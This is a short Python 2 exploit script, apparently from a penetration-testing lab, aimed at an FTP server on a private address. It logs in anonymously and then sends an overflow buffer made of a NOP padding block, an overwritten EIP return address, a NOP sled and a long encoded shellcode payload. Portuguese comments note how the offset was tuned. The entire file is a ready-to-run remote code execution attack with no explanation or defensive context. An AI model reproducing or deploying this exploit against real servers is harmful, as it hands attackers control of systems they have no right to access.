#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

push = "\x90"*2011 # alterado o A para NOP's
EIP = "\x65\x82\xA5\x7C" 
NOP = "\x90"* 50 # o offset era 36 mas e o minimo que devemos colocar.

shellcode = "\xbb\x3e\x03\x16\xb4\xdd\xc3\xd9\x74\x24\xf4\x5a\x33\xc9" + \
"\xb1\x56\x31\x5a\x13\x83\xea\xfc\x03\x5a\x31\xe1\xe3\x48" +\
"\xa5\x6c\x0b\xb1\x35\x0f\x85\x54\x04\x1d\xf1\x1d\x34\x91" +\
"\x71\x73\xb4\x5a\xd7\x60\x4f\x2e\xf0\x87\xf8\x85\x26\xa9" +\
"\xf9\x2b\xe7\x65\x39\x2d\x9b\x77\x6d\x8d\xa2\xb7\x60\xcc" +\
"\xe3\xaa\x8a\x9c\xbc\xa1\x38\x31\xc8\xf4\x80\x30\x1e\x73" +\
"\xb8\x4a\x1b\x44\x4c\xe1\x22\x95\xfc\x7e\x6c\x0d\x77\xd8" +\
"\x4d\x2c\x54\x3a\xb1\x67\xd1\x89\x41\x76\x33\xc0\xaa\x48" +\
"\x7b\x8f\x94\x64\x76\xd1\xd1\x43\x68\xa4\x29\xb0\x15\xbf" +\
"\xe9\xca\xc1\x4a\xec\x6d\x82\xed\xd4\x8c\x47\x6b\x9e\x83" +\
"\x2c\xff\xf8\x87\xb3\x2c\x73\xb3\x38\xd3\x54\x35\x7a\xf0" +\
"\x70\x1d\xd9\x99\x21\xfb\x8c\xa6\x32\xa3\x71\x03\x38\x46" +\
"\x66\x35\x63\x0f\x4b\x08\x9c\xcf\xc3\x1b\xef\xfd\x4c\xb0" +\
"\x67\x4e\x05\x1e\x7f\xb1\x3c\xe6\xef\x4c\xbe\x17\x39\x8b" +\
"\xea\x47\x51\x3a\x92\x03\xa1\xc3\x47\x83\xf1\x6b\x37\x64" +\
"\xa2\xcb\xe7\x0c\xa8\xc3\xd8\x2d\xd3\x09\x6f\x6a\x1d\x69" +\
"\x3c\x1d\x5c\x8d\xd3\x81\xe9\x6b\xb9\x29\xbc\x24\x55\x88" +\
"\x9b\xfc\xc2\xf3\xc9\x50\x5b\x64\x45\xbf\x5b\x8b\x56\x95" +\
"\xc8\x20\xfe\x7e\x9a\x2a\x3b\x9e\x9d\x66\x6b\xe9\xa6\xe1" +\
"\xe1\x87\x65\x93\xf6\x8d\x1d\x30\x64\x4a\xdd\x3f\x95\xc5" +\
"\x8a\x68\x6b\x1c\x5e\x85\xd2\xb6\x7c\x54\x82\xf1\xc4\x83" +\
"\x77\xff\xc5\x46\xc3\xdb\xd5\x9e\xcc\x67\x81\x4e\x9b\x31" +\
"\x7f\x29\x75\xf0\x29\xe3\x2a\x5a\xbd\x72\x01\x5d\xbb\x7a" +\
"\x4c\x2b\x23\xca\x39\x6a\x5c\xe3\xad\x7a\x25\x19\x4e\x84" +\
"\xfc\x99\x6e\x67\xd4\xd7\x06\x3e\xbd\x55\x4b\xc1\x68\x99" +\
"\x72\x42\x98\x62\x81\x5a\xe9\x67\xcd\xdc\x02\x1a\x5e\x89" +\
"\x24\x89\x5f\x98"

print "\nSending evil buffer..."
s.connect(('192.168.2.131',21))
data = s.recv(1024)
print data
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
print data
s.send('PASS anonymous@' + '\r\n')
data = s.recv(1024)
print data
s.send(push + EIP + NOP + shellcode)
data = s.recv(1024)
print data
s.close()
